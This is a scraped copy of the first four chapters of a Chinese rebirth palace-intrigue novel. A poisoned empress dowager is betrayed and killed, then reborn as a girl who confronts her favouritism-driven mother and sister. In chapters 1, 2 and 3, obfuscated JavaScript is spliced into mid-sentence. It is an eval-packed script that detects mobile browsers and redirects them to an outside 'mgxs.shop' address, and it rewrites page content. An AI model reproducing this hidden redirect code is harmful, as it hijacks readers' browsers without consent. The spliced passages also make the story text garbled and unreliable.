《反派她是软柿子》 1. 第 1 章 “二姐姐,天色不早,该上路了。” 窗外不知何时起了雾,看不见人影,只剩一团浓得透不进光的夜色。 容锦簇蜷缩在慈宁宫主位,双手捧着冰冷的茶盏。往日明净的眼眸好似笼上一层黯然无光的薄纱,灰蒙蒙一片。 她已经病了半月,苍白唇角擦过冷透的茶水,一丝血色也没有。 良久,容锦簇用她那把沙哑的嗓子勉强回了话:“我知道。前朝还没传来消息,再等等吧。” 闻言,容宁烟攥在手心的帕子拧得更紧,冷笑:“你还真是老谋深算,心机深沉。不见棺材不落泪,不到黄河不死心哪。” 心机深沉吗?容锦簇垂下眼,默默接受了这个说法。其实,她只是想多活一会儿罢了。 半个月前,容宁烟的夫君朔王起兵造反。偏偏这时容锦簇一病不起,战事只能交给她亲手养大的少年帝王萧逢去对付。 为了容锦簇安心养病,萧逢封锁了消息,慈宁宫上下一律不准多嘴。 再怎么瞒着,昨日一早看到容宁烟的那一刻,容锦簇就知道,萧逢输了。 以往乖巧天真的堂妹容宁烟终于露出真面目,将容锦簇幽禁在慈宁宫,宣称只要朔王登基,她会立刻送容锦簇去死。 左等右等,就这么生生等了一天一夜。 空气中隐有金石铮鸣之声,大地也为精兵铁骑而震动。远方一道闪电划破长空,一个提灯小太监“咚”的一声撞开门,连滚带爬滑至容宁烟脚下,战战兢兢拱起手:“恭喜朔王妃!贺喜朔王妃!殿下入主玄极宫了!” 寒风随小太监撞开的门倏地打进慈宁宫,扑面而来一阵冰冷刺骨,容锦簇再次剧烈咳嗽起来。 心下悲哀,她才三十,怎么就落了这一身病,熬到油尽灯枯的地步。 就算容宁烟放过她,往后也活不了多久了。 显然容宁烟没打算放过她,妆容精致的脸上轻蔑与厌恶反复交织,往日轻柔的声音格外冰冷: “白绫,匕首,鸩酒,看在旧日交情的份上,我允许二姐姐自己选一个,尽早上路吧。” 尘埃落定。 容锦簇不想死,她蜷缩在冰冷的玉座上,小心地露出一点哀求的目光:“阿年,你是我妹妹。我可以把什么都让给你,只要我活着……” “二姐姐,你怎么这么蠢,软弱又天真。”容宁烟撕开往日温柔的假面冷笑着,狰狞尽显,“你凭什么以为,这些东西是你让给我的?这是我挣来的!登上皇后凤座后,我留着你还有什么用?所以只好送你下地狱!” 容锦簇无声无息地望着她,眼角一颗晶莹的泪珠缓缓滑落。 直到朔王造反,她才明白一切都是假的。 最信任的堂妹容宁烟一手背叛了她,明明她对容宁烟那么好。 她注定逃不过死去的结局了。 想清楚这一点后,容锦簇却慢慢挺直了身板。好歹做了九年太后,哪怕是傀儡,也不该丢了太后的气势。 她抬起手,抬手点了点那盏放着鸩酒的金杯,声音颤抖,竭力保持着最后的尊严:“你,端上来,喂我喝。” 一片沉寂中,容宁烟慢慢瞪大了眼睛。 “容锦簇!我尊你一声二姐姐,你别太嚣张!都这个时候了,还敢跟本宫摆谱拿乔?如今是你惨败,就应当自己滚下来,向我俯首称臣——” 容锦簇抬起眼,视线清晰一阵又模糊一阵,勉强照清容宁烟那张颐气指使的脸。 容锦簇只觉得这张脸陌生又熟悉,恍惚间让她以为自己还在闺中,想起了入宫前另一个妹妹容锦虞欺辱她的模样。也许是一天一夜没有进食,饿得发晕,出现了幻觉的缘故。 四周静谧,小太监大气也不敢喘一声,朔王妃容宁烟正昂起脸,等待昔日太后娘娘向她请罪。 出乎意料的,容锦簇回答:“我要一碟桂花糕。” “大冬天的,上哪给你弄桂花糕去?”容宁烟气极,“好你个容锦簇,你可别想耍什么花招,今日我这个做妹妹的要是送不走你,就不配姓容!” “大景罪行再重的刑犯,行刑前都要吃顿饱饭再上路。”容锦簇垂下眼睫,从未像此刻这样冷静,“你也不想看到……在你亲手送我上路之前,我被自己活生生饿死吧。” 容宁烟没答话,犹豫半晌,终究也觉得这样不够解气,拎起小太监衣领忿忿往外一推:“给这位前太后弄点桂花糕去,快点!” 她特意加重了“前”字,小太监跌跌撞撞,消失在茫茫夜色中。 几乎就在下一瞬,一支飞羽箭“珰”的一声,笔直地扎上殿前方柱。雾气散尽了,洒在庭前的月光透亮又清明。 容锦簇绝望黯淡的双眸如同洗尽蒙尘的繁星,瞬间亮了起来。 伴随着一道熟悉的朗笑,一个金衣玉冕的清俊少年大步穿过庭廊,一手挽弓,一手搭箭,箭尖始终牢牢对着面色煞白的容宁烟。 “逢儿!”容锦簇苦苦拖了这么久,终于等来了萧逢,一时几欲落泪。 她坚信,萧逢虽然年少,却颇有手腕,先前落败一定是诈降,目的是请朔王入瓮,一举斩草除根。 而现在,她和萧逢赢了。 萧逢这么快赶来,一定是为了从容宁烟手里救下她。 想到这,容锦簇坐直了身,强行打起精神,开口不免哽咽:“没受伤吧?快让母后看看。逢儿,母后就知道咱们不会输。还好有你,还好有你救母后——” 一声细微短促的风响,箭身刺破绸缎和血肉的声音,将她未尽的言语没入长夜。 容锦簇低下头,那闪着微微金光的箭矢,正牢牢插在她心口。 她眼睫颤了颤,却没有勇气抬起头看那个少年一眼。面前传来萧逢干净淡漠的声音,不带一丝温度:“母后,是我不会输。” 十四岁的少年个子拔得很高,初具青年身量。冰凉的弓稍缓缓勾住她下颌,向上一挑,迫使容锦簇抬头,对他对视。 “您输了,母后,请不要怪我,我也是迫不得已。”他冷冰冰的脸上保持着万年不变的神情,唯独那双生来含情的桃花眼里蓄满了愉悦笑意。 容锦簇不可置信,死死盯着那双桃花眼。迫不得已?什么样的胁迫,能威胁到一个掌天下权的帝王?他们是母子,为什么要取她的性命? “母后,儿臣也知道母后死得冤屈。”那双桃花眼收了笑,无辜又恳切地紧盯着容锦簇,“母后一定很想知道,儿臣为什么要取您的性命。” 真不愧是她养大的孩子,对她的心思洞若观火。 四目对视,容锦簇眼前又一阵清晰一阵模糊地晕眩起来。身子时冷时热,不知为何,容锦簇恍惚以为面前站着的不是她养大的萧逢,而是近日造反的那位朔王。 他们有一模一样的桃花眼,如出一辙的神情,笑起来恳切又诚挚,冷漠时又如冬夜里化不开的冰霜……萧逢,朔王,萧逢,朔王! 萧逢站在她面前,慢慢弯下腰。他贴近容锦簇耳边,呓语似的轻声道出一个秘密:“因为儿臣从来就不是先帝的儿子。” “如果母后知道我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484486|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朔王所生,还会如此尽心尽力辅佐我,照看我,将我扶上皇位吗?” 容锦簇绝望地睁大了眼,目眦欲裂:“你——!” 然而,近乎撕裂的声带牵扯着神经,一字一痛,折磨得她几乎说不出话,只能眼睁睁看着萧逢眼角眉梢流露出残忍轻蔑的笑意。 “母后,您以前的声音多好听,为何现在哑得几乎说不出话?母后不觉得,这情形跟先帝嗓子尽毁后,一模一样吗?” “事到如今,也没什么好隐瞒了。母后的病,是朔王妃经年累月下的毒。本打算慢慢折磨,一年,十年,一生。谁料您的心血早为我耗尽了,根本等不了这么久。说起来,难道您就不曾想过您的名声为何如此狼藉?明明在宫中如履薄冰,谨小慎微,为何还是人人厌恶?母后应当从未想过,背后给您造谣生事和害您断送性命的……恰恰是您最信任的朔王和朔王妃呢。” 轰隆—— 天边惊雷炸响,容锦簇眼前一片模糊,世界渐渐沉入黑暗。 意识不断下沉,唯独一个清晰的念头迟迟不散。 她好恨。 她好恨! 她恨萧逢,恨朔王,恨容宁烟,恨他们联起手欺骗她,谋害她,让她大好年华断送性命。更恨当年将她架上太后之位的容家,若不是他们,她还能安度此生,不至于沦落到这般凄凉田地。 凭什么,凭什么?朔王夫妇污蔑她,却将入主宫廷;萧逢杀她,却依旧安稳;从前的妹妹欺凌她,却能高嫁公府,美满顺遂;而她什么也没做,只想安安分分活着,为何要将她害到如此地步! 愤怒折磨着容锦簇,她想起雪花似的告状奏折,宫人异样的目光,民间肆虐的妖后论……绝望中,容锦簇闭上眼,在心底虔诚许下一愿。 若真有来世,她宁愿如他们口中所说那般,做个坏人。 至少祸害还能……遗千年。 她只是想活着,仅此而已。 弥留之际,胸前温热的血浸湿了衣衫,湿淋淋地黏在她指尖。忽然,她的手不知被谁抓了起来,有人狠狠摇晃着她的肩膀,要将容锦簇颠散架了一般,一道声嘶力竭的怒吼回荡在慈宁宫上方: “锦簇!锦簇!” “你们怎么能杀她!朕要你们为她陪葬!” 是朔王的声音。他自称朕,是已经篡位登基了吧。 容锦簇厌恶这个虚伪的声音。 她隐约记起另一个人,那人也自称朕,声音沙哑破败,却总是温柔带笑,放低了声唤她: “团团。” 那是谁?她想不起来了…… 大景朝永宜元年,恶贯满盈的明宣太后下葬。 据说明宣太后弑皇后,害贵妃,毒先帝,挟皇嗣,无恶不作。先帝的弟弟朔王出于臣子职责,起兵清君侧,明宣太后愧对先帝,自尽而死。 朔王萧北凌救驾有功,幼主退位,让位于朔王。 明宣太后戴罪之身,死后不得与先帝合葬。萧北凌口谕,太后不入皇陵,葬于京郊远山,不立墓碑。因此,后世纵然有心寻太后墓葬,也无迹可寻。 入葬时无一百姓送行,三日后,萧北凌下令取消国丧,民间婚丧嫁娶恢复如常。 举国庆贺。 再也没人提起明宣太后。 容家出了容宁烟这个新后,欢喜不已,仿佛从未有过容锦簇这个女儿。 毕竟容锦簇待字闺中时,容家也不待见她。如果不是容锦簇做了太后,以她当年犯下的那桩事,容家早将她从宗族家谱中除名了。 2. 第 2 章 毕竟容锦簇待字闺中时,容家也不待见她。 如果不是容锦簇做了太后,以她当年犯下的“那桩事”,容家早将她从宗族家谱中除名了。 再说,就算她是太后又怎样?还不是坏事做尽,声名狼藉,死后连皇陵都进不去。 容宁烟召容府女眷进宫谢恩那日,容府雪寒院的小厨房内正温着一炉鸡汤。主子进了宫,底下人无事可做,两个小侍女揣着手站在门边,叽叽喳喳闲聊。 不知为何提到了明宣太后,一个小侍女抱怨:“容家出了这么个坏的,连咱们姑娘的婚事都受连累。” 另一个鄙夷:“都是容家出来的,听主子说,皇后娘娘温柔大方,怎么那位太后娘娘如此恶毒。” 坐在炉前低头拾柴火的赵嬷嬷忽然抬了头,打断两人的议论:“你们从未见过她,又怎么能断定她是什么样的人?” 小侍女沉默一下,其中一个不服气:“你这婆子老糊涂了,难道你见过?” “当然。”赵嬷嬷苍老的皱纹难得舒展了些,低声道,“二姑娘从前是个逆来顺受的绵软性子,在容家最是可怜。因为那桩事,容家将这样的姑娘逼上绝路,让她承担一切,等风平浪静了,却又回头指责她不够好。” 两个小侍女没听明白:“那桩事是哪桩事?” “二姑娘已经死了,往事何必再提?”赵嬷嬷低低念了声佛号,语调平静漠然,“老身只能说,从永熙二十一年容家逼她进宫开始,容家亏欠她的,永生永世也还不清。” —— 永熙二十一年,夏。 清早的曦光刚往庭前挥洒一地,坐在廊下的宝灯就拼命摇起扇子来。 宝河端着白瓷盆经过,横鼻子竖眼地出声呛她:“就知道自己凉快,也不进屋给姑娘扇扇。” 宝灯拿扇子远远一扑,不屑道:“瞧你那动不动生气的模样儿,我给你扇扇得了。咱们姑娘没脾气,心静自然凉。” 容锦簇一睁眼,就感受到一股扑面而来的热浪。 天光大亮,水红色罗帐被炽风扯开半边,源源不断的燥热一拨接着一拨往她床上钻。 容锦簇一时恍惚。 她不是已经死了吗? 中箭时还是滴水成冰的寒冬深夜,怎么转眼一醒,已经进了夏季,难道说她昏睡了半年? 不对,这里不是慈宁宫。 容锦簇灵光一闪,顾不得别的,慌忙翻身下床,奔到梳妆台前。 铜镜里映照出一张熟悉又陌生的少女脸庞,容锦簇倒吸一口凉气。 果然如戏折子所讲的传奇故事一般,她重生了! 容锦簇想笑,镜中青春美貌的姑娘咧了咧嘴角,却怎么也挤不出笑容。这么荒谬的事儿,怎么会发生在她身上? 她怎么会重生? 没等容锦簇接受这副焕然一新的年轻身体,就听见哐当一声。 转身望去,宝河将盛满清水的白瓷盆往架子上一丢,急急忙忙小跑过来:“姑娘!你怎么赤着脚下床呢,快点把鞋穿好!” 容锦簇没作声,转过头继续盯着镜中的自己瞧,看不够似的。 前世容宁烟下的毒害得她面容憔悴,骨瘦如柴,简直像是提前做了鬼。 如今铜镜映出的少女有一张光洁柔嫩的面庞,新月眉弯弯,衬得水做的明眸又圆又亮。鼻尖圆润上翘,唇珠嫣红饱满,笑起来轻轻一抿,带着少女独有的羞涩。 玉颈纤细修长,肌肤光泽柔润,后来哪怕敷了一层珍珠粉都比不上,真是年轻又健康。 容锦簇含着几分怀念欣赏镜中少女。她眉眼间少有忧愁,天生的性情和善为眼眸蒙上一层柔软的波光,格外易于亲近。 下一刻,镜中少女被一把扯出铜镜可照到的范围。 “姑娘别发愣了!”宝河抱着衣裳急冲冲催她,“说好了去茶楼听戏,三姑娘和六姑娘都该梳洗好等您了!” 换好了纱衣鞋袜,容锦簇任由宝河摆弄,簪头发,抹胭脂,她闭上眼,回想前世进宫之前都发生了什么。 “宝河,今年是哪一年?” “姑娘热糊涂啦?”宝河忙着将她的碎发别到后面去,随口一答,“永熙二十一年,六月初三。” 永熙二十一年,容锦簇就算再死一回也忘不掉——她正是这一年进宫的。 容锦簇恍惚了一瞬,神情有些微妙。 偏偏是现在……难道说,她临死前的愿望成了真,神仙赐她重来一回的机会? 这一年她十六岁,身边只有两个侍女,一个叫宝河,一个叫宝灯。 六月初三,听戏,宝灯。 容锦簇倏地睁开眼:“宝灯在哪?” “外边乘凉呢。”宝河气呼呼丢下一声冷哼,“也就姑娘惯着她,不然我早让她滚出雪寒院了!” 容锦簇按了按鬓角,头疼:“快让宝灯进来。” 省得这小丫头到处闯祸,给她惹麻烦。 宝河放下梳篦,出去找了一圈:“姑娘,院子里没见着,准是上哪儿躲懒去了!” 完了。 容锦簇心底忍不住一声哀嚎,过了刚重生时那个新奇劲儿,前世的麻烦接踵而至。 不顾宝河的阻拦,她往床上一倒,生无可恋道:“不用梳洗了,听戏去不成了。” 上辈子,她就没能去茶楼听戏。宝灯这天早上出去乱逛,给她惹了个惊天大麻烦——把三姑娘容锦虞的冰盆给偷回来了。 还不巧,被三姑娘当场撞见,看得清清楚楚。 三姑娘自然不肯依,大哭大闹一整个上午,差点把她这一方小小的雪寒院掀翻。最后阿娘做主,把几匹本该给裁衣的新料子赔给三姑娘容锦虞不说,还将容锦簇关在雪寒院思过一周,以示惩戒。 之所以印象深刻,还是因为容锦簇失去了做衣裳的绸缎,进宫时连件新衣都没有,被同期的秀女甚至宫妃嘲讽多年。 想到这,容锦簇先抱住了头,真想找个地方藏起来。 下一刻,她又放下了手,只觉闷得有些头晕。 夏日酷暑,卧房里又闷又燥。习惯了慈宁宫的西瓜与冰盆,乍一回到一无所有的闺房,她不适应极了。 容锦簇这才想起,按道理她应该有冰块份额才是,然而——她的份额全给容锦虞了。 容锦虞也没让她失望,不到一刻钟,已经气势汹汹杀进雪寒院: “容锦簇!给我出来!你的侍女偷我的冰盆,被我当场撞破了!她一个下人哪有这胆子,一定是你指使的!” 容锦簇咬了咬牙。 既然决定好好活一场,就不能再这么受人欺负下去。想到这,她学着前世宫妃们的做派,一动不动躺在床上,吩咐宝河:“跟三姑娘说,我中暑了,起不了身。要么她进来,要么让她给我请个郎中,病好了我再出去。” 宝河头一次见自家姑娘如此硬气从容,目瞪口呆,梦游似的抬起脚出去了。 不多时,容锦虞跟着宝河进门。 她那副趾高气昂的神态没能保持多久,就在容锦簇床边败下阵来。忙不迭翻出冰丝手帕擦拭额角,叠声抱怨:“怎么这么热!容锦簇,你在卧房里点火炉了?” 容锦簇掀开眼皮,撩了她一眼,又慢吞吞合上:“少说两句吧,三妹妹,省得你也中暑,晕在我床上。” 没想到容锦簇的态度会是这般无谓,容锦虞顿时音量骤减,准备好的威胁也失去了力气:“我,我可是叫了阿娘,一定要揪出来谁抢了我的冰盆……” 反派的必备技能是嘲讽:“三妹妹,声音这么虚弱,你早上也没吃饭?” “你——”容锦虞拔高声音,正要发火,容锦簇的话已经起了心理作用,让她感觉自己一生气就会中暑,进而头晕目眩。 她不得不强忍怒火,找了一张软凳落座,小声反击,“你等着吧,阿娘等会儿就到!” 想到那个被容锦虞成为“阿娘”的女人,容锦簇顿感陌生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484487|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她已经有整整十四年没见过阿娘了。 在那件事发生之前,她一直以为阿娘虽然偏心,终究还是疼她的。 事实证明,容锦簇错得离谱。也许她就不该妄想阿娘的爱。 一道温温柔柔的声音适时从门口传来,带着心急火燎的意味:“阿宁?阿宁!” 容锦虞立刻站起身往外奔去,欢欢喜喜应道:“娘,我在这!” “哎呦,阿宁,你瞧瞧你,热得脸都红了,快用这块刚浸过冰的帕子擦擦。” 阿宁是容锦虞的小字。 容家姑娘都按着这规矩,在名字以外另取小字。 譬如大伯母家的堂姐容千绣,小字阿绒,三叔家的堂妹容宁烟,小字阿年。同样的,容锦簇也有小字,叫阿折。 门口,容夫人与容锦虞演完母慈女孝的戏码,这才想起屋里还有一个容锦簇。 容夫人冷淡的脸从门边探进来,音调没有一丝起伏:“是你啊,阿折。” “这屋子也太热了,阿娘先不进了。阿折,你到外面来。”忽略掉那种厌恶的语气,容夫人的声音还是一如既往地温柔。 容锦簇怔怔坐在床上,眼前似乎还印刻着那一瞬间看到的阿娘的脸。 慈悲良善的眉目,古井无波的神情,有时她觉得阿娘真像神仙下了凡,但神仙的心肠也这么冷硬吗。 换作前世的她,此时早已经为了不惹阿娘生气,眼巴巴迎上前卖乖讨好,摇尾乞怜。可是此时,容锦簇只觉得心累。 她闭上眼,重新躺了回去:“阿娘,我中暑了,没法出来迎您。” “中暑?既然你出不来,那就在门口说吧。”门外,容夫人轻轻笑了一声,似乎想要缓和气氛,“雪寒院听着就冷,还能中暑啊?” “阿娘也知道雪寒院冷啊。”容锦簇学着容夫人的语调,用力驳了回去,“那阿娘也应当知道,雪寒院在容府最偏的位置,又没有遮挡,冬冷夏热,四季没有好时候。入了夏,比三妹妹的春桃院热许多。” 容夫人噎了噎:“你这孩子,也是不着调,这么大了还照顾不好自己,怎么还能中暑?再说,中暑就该去找郎中拿药,你也不能抢妹妹的冰盆啊。” “我没有。”容锦簇知道自己无论如何解释,容夫人都不会听更不会相信,“好,就当我抢了。我也是容家姑娘,凭什么只给别的姐妹院里拨冰块,不给雪寒院?我不会热吗?” “这孩子怎么说话呢。”容夫人的声音冷冷淡淡,“先前也给过你,你不是不要么。” “那是因为三妹妹嚷嚷她热!若不是她说她房中的冰块不够用,阿娘您又怎么会要我主动让一半冰盆给她?”提起旧事,容锦簇难以抑制心底的委屈,声音不由自主哽咽起来。 她感到那么一丝耻辱和伤心,随即慢慢握紧了拳。 不能哭。 “当初我只同意了让一半,至于后来,为什么拨给我的冰越来越少,阿娘心里没数吗?后来,连一点点碎冰都不愿意给我送了——什么叫我的侍女偷了冰盆?那原本就是属于我的份额,只看我愿不愿意拿回来而已!” 容锦簇唇瓣颤抖着,却终于好受了很多。 “阿折!阿宁身子弱,你让让她怎么了!从前我当你是个心善的好孩子,愿意主动把冰块让给你妹妹,你现在居然反咬一口,把过错推到我跟你三妹妹身上,你是要害死我们娘儿俩不成?我真是看错了你,养了这么个狼心狗肺的东西!”容夫人的声音渐渐尖锐起来,染上哭腔。 容锦簇紧紧闭上眼,指尖用力掐着掌心。 娘儿俩?到这个时候,容夫人都没有算上她,只将容锦虞算了进去。 至于那些谩骂,她早就习惯了。 忽略掉心底的疼痛,容锦簇冷静下来,回她:“阿娘,现在您有两个选择。一,把属于我的冰块份额还给我。二,我告诉容家长辈们,您跟我一起到长老面前解释,为什么容家六个姑娘,只有我这里没有送冰块!” 3. 第 3 章 “你做梦!”容夫人还没开口,容锦虞先一步跳脚,“容锦簇!你别以为自己占理!咱们是一家人,就算你告到圣上面前,我们也不欠你什么!” “你!你还敢拿他们威胁我?”门外,容夫人不可置信,却比容锦虞更清楚容家长辈们会怎么处理此事,无奈和惊惧之下,她怒极反笑,“好,好啊!我看你是反了天了!” “我当然敢了。”狠话都放过了,容锦簇抱着自己不舒服就别想让容夫人和容锦虞好过的心态,掰开手指,干脆釜底抽薪、鱼死网破,“让我算算,应该不止冰盆这一件事,对吧阿娘?去年的浮光锦?前年的小凤团?三年前的玫瑰露?还有……” 回忆像打开了泄洪的阀门似的,只要那么轻轻一想,各种往事纷至沓来。 前世她只想让阿娘高兴,为了阿娘不担心,她一直说自己跟容锦虞相处得很好,姐妹情深。各种新奇玩意儿,好吃的好玩的都紧着三妹妹,能让就让。 即使有时不想让,也会因阿娘的轻轻皱眉或一声责怪而改变主意。 所以,她从前在容家始终过得憋屈,无论何时也不开心。 “够了!够了!”容夫人再也听不下去,气急败坏,“容锦簇,你住口!你到底想要什么!” “我想要的不多,三妹妹把这些东西都折算成银子还给我就好了。”容锦簇伸了个懒腰,“宝河,你现在就去账房,让他们好好算算,然后呢,我亲自去春桃院找三妹妹交流交流感情……” “我替阿宁还给你!”容夫人高声打断,“不知好歹的东西,连自己亲妹妹也要算计!那就都还给你!” “娘!我不要!我不想她拿你的钱!”容锦虞哭嚎得更大声,“她指使侍女偷我冰盆的事儿还没解决呢,怎么能让她翻旧账?” “都说了,没有偷,那就是我的份额。”容锦簇想起上辈子,容锦虞从下人房中翻出宝灯偷来的冰盆后,立刻开始大喊捉贼,先发制人,步步紧逼。那时她完全乱了阵脚,任由容夫人和容锦虞一唱一和给她定了罪。 想到这,容锦簇重重摇了摇头。 宝灯偷东西的事她当然要亲自处理,但她院中的侍女,可不是任由容夫人和容锦虞处罚管教的。 容锦虞却管不了那么多,转身往下人房跑去。听见这阵动静,容锦簇明白不亲自出手是拦不住了,干脆下床穿鞋,谁料有人更快一步,死死拦住容锦虞。 “三姑娘,这是我们二姑娘的院子,请你不要擅闯屋舍。”宝河难得如此字正腔圆,挺起背脊,大声道,“哪怕只是下人房,也只有二姑娘有权进来搜查!” 容锦簇走到门边,扶着门框,朝宝河一笑。 这才问:“阿娘也不想闹到长老面前时,发现三妹妹的错处又多一条吧?” 容夫人的面色一阵青一阵白,良久,铁青着脸,咬牙道:“我给你五十两银子,别让你三妹妹难堪,也别给自己找不自在,这事儿就算过去了。” 五十两?也就够容锦虞两个月的冰钱。 容锦簇摇摇头,竖起一根手指。 容夫人柳眉倒竖:“你要一百两?” “我的意思是,一千两。” “一千两!”容夫人两眼一翻,几近晕倒。 “你、你这是狮子大开口!”等她缓过气来,一手捂着胸口,一手艰难地指着容锦簇,“我就算死,就算跟你断绝母女关系,也不会让这笔钱砸在你手里!” 容锦簇本来也没打算要这么多,假模假样算了算,以最无辜的笑容朝容夫人露出雪白的小虎牙:“那我给阿娘打个折,就给九百两银子好了。不过,这少收的一百两,得用三妹妹今年裁衣裳的新料子来抵哦。” 今年,她终于可以有足够的缎子裁新衣了。至于容锦虞抢走的那些奢华物什,后来她在宫中,到底也都有了。 她想讨回来的只是容夫人那些年亏欠她的偏心而已。 容夫人看也没看她一眼,拂袖而去。容锦簇知道这是答应了的意思。 她同样没再等在门口,像过去那般凝望阿娘远去的身影,而是慢慢扶着门框往回走:“宝河,送三姑娘回去。” “得嘞!”宝河从未如此高兴过,抬着头清脆地回复,“保证把三姑娘平安送回春桃院!” 宝河走后,容锦簇一下扑倒在又闷又热的床上,眼泪止不住地往下掉。 心里又觉得很轻松。两世了,她终于学会了反抗。想起容锦虞得意的嘴脸,容锦簇觉得自己没做错什么。 擦干眼泪,她爬下床,重新坐到了梳妆台前。 她要出去听戏。 前世没听成的戏,始终是心底一点浅浅的遗憾,不是浓墨重彩的色调,却好像一片树叶偶然留下的阴影,任她怎样努力也挥之不去。 但是。 宝河送容锦虞去了,宝灯怕她追究责任,到现在还不肯露面,容锦簇盘算着,谁能陪她去茶楼。 说来也巧,一个熟得不能更熟的乖软声音从她背后怯怯地响起:“二姐姐,咱们……还去茶楼听戏吗?” 容锦簇听见这道声音,身子蓦地一顿,嘴角缓缓扯出一抹悲哀的凉笑。 到底还是来了。 正是前世送她上路那位容家六姑娘,容宁烟。 论亲疏关系,容宁烟自然比不得跟她同父同母的容锦虞。但容宁烟的性子实在太讨巧了,乖顺无害,前世轻而易举就骗到了她的信任。 然而,没记错的话,后来宝灯跟她说过,撞见偷冰盆的是三姑娘和六姑娘两个人。容宁烟教唆容锦虞找她算账后,就隐身了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484488|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容锦簇被幽禁的那一周,容宁烟又借着送点心的名义多次前来嘘寒问暖,在容锦簇面前说尽了容锦虞坏话。 在容宁烟的努力下,容锦簇和容锦虞姐妹离心越来越严重,最后闹到无法收场的地步。 事实上,如果不是容宁烟挑拨离间,容锦虞未必会跟她这个亲姐姐如此计较为难。 容锦簇不想跟容宁烟正面斗。 她不觉得,自己重生了一回,手段就能比容宁烟高明多少。毕竟前世,她可是被容宁烟害死而不自知呢。 不过,该利用的时候,容宁烟就很好用了——比如此刻。 坐在梳妆台前的少女转过身,天真烂漫一笑:“好啊,六妹妹,你雇好马车了吗?三妹妹大概去不了了,那就咱们俩一起去吧。” 明明还是那个性子柔软亲善的二姐姐,不知为何,容宁烟莫名其妙打了个寒颤。 然而对上容锦簇明净的眼神,六姑娘又觉得是自己多想了,干脆也绽开一个甜甜的笑,上前挽住她的手,姿态亲密:“二姐姐,那咱们快走,马车还在门口等着呢!” —— 熙春楼。 容宁烟一落座,就迫不及待向容锦簇打听:“二姐姐,听说三姐姐她……方才跑到雪寒院大吵大闹,是怎么了?发生什么事了吗?” 容锦簇不声不响,静静注视着面前曾被她视作亲姐妹的容宁烟。 容宁烟明明知道的。 为什么要问她呢?到底是计划出了岔子不甘心,还是只想测试一下容锦簇会不会说真话。 想了想,容锦簇给出一个半真半假的答案:“你说三妹妹?她说她的冰盆丢了,一路追到我这儿。可惜什么也没搜出来,阿娘心疼三妹妹,罚了我五十两银子。” 容宁烟放下心来:“这样啊。”看来容锦虞还不算太笨,至少没把她牵扯进去。 想到这,容宁烟脸上终于浮现了轻松的笑容,从桌下握住容锦簇的手,用力摇了摇:“二姐姐不必难过,我是相信你的!被伯母罚了月例也没关系,今日姐姐吃什么点心,用什么茶,都由我请客!” 容锦簇也笑着,偏过脸看戏。 戏台上正咿咿呀呀演得热闹不知演到哪番情节,女孩儿将水袖一甩,唱腔凄婉:“骨肉至亲心连心,娘亲恩情儿不忘……” 容宁烟生怕容锦簇触景生情,慌忙道:“这唱得什么,我怎么没听过!二姐姐等我一会儿,我让他们换一出常听的戏演。” 容锦簇仍然笑着点点头,目送容宁烟的身影站起来,往戏台后走去。 忽然有只骨节分明的手碰了碰她的手,递过一方柔软的锦帕。 “你哭了。”那人悄悄地说。 不过三个字,声若清泉叩石,琅琅如珠如玉。 4. 第 4 章 哭了吗? 容锦簇低下头,抬起手背蹭了蹭脸颊,才发现自己早已泪流满面。 “谢……”她侧过身想跟那人道声谢,只一眼,她声音滞住,如遭雷击。 那是一个戴着银色面具的青年。 那面具扣得很紧,眉心的位置用胭脂和金粉点了一朵小小的五瓣桃花。除了一双干净纯粹的丹凤眼,容锦簇能看到的只有他艳色的薄唇和弧度流畅的下颌。 她目光辗转,从银色面具的金粉桃花一寸寸下移到颈项,最后挪回来,怔怔盯着那双眼睛。 她认识这个人。 不,更确切的说,她认识这双眼睛。 这双眼睛回望着她,慢慢弯起两道漂亮的弧度。这个笑容澄净明亮,丹凤眼里缀着干干净净一池春水,水里倒映出漫天繁星。 他轻轻问:“姑娘为什么一直看着我?” “二姐姐!”容宁烟气喘吁吁的声音打断了暗流涌动。她鲜少跑得这样快,连贵族小姐的礼节都可以弃之不顾。跑到近前,容宁烟扶着膝盖急促地匀气,眼前却亮得惊人,“原来你已经到了,银面郎君!” 声音之激动,前桌听戏的年轻姑娘皱着眉扭身瞥她,目含警告。 容宁烟这才意识到失礼,赔笑后,立刻挤到容锦簇和那个青年中间坐下,满脸绯红,热切地抓着容锦簇的手介绍:“二姐姐,这位是幽冥阁的银面郎君,他的代称是——” “银面桃花。”容锦簇神使鬼差般替她回答。 “二姐姐怎么知道?”容宁烟眉尖一拢,眼里写满了惊喜过后的狐疑。 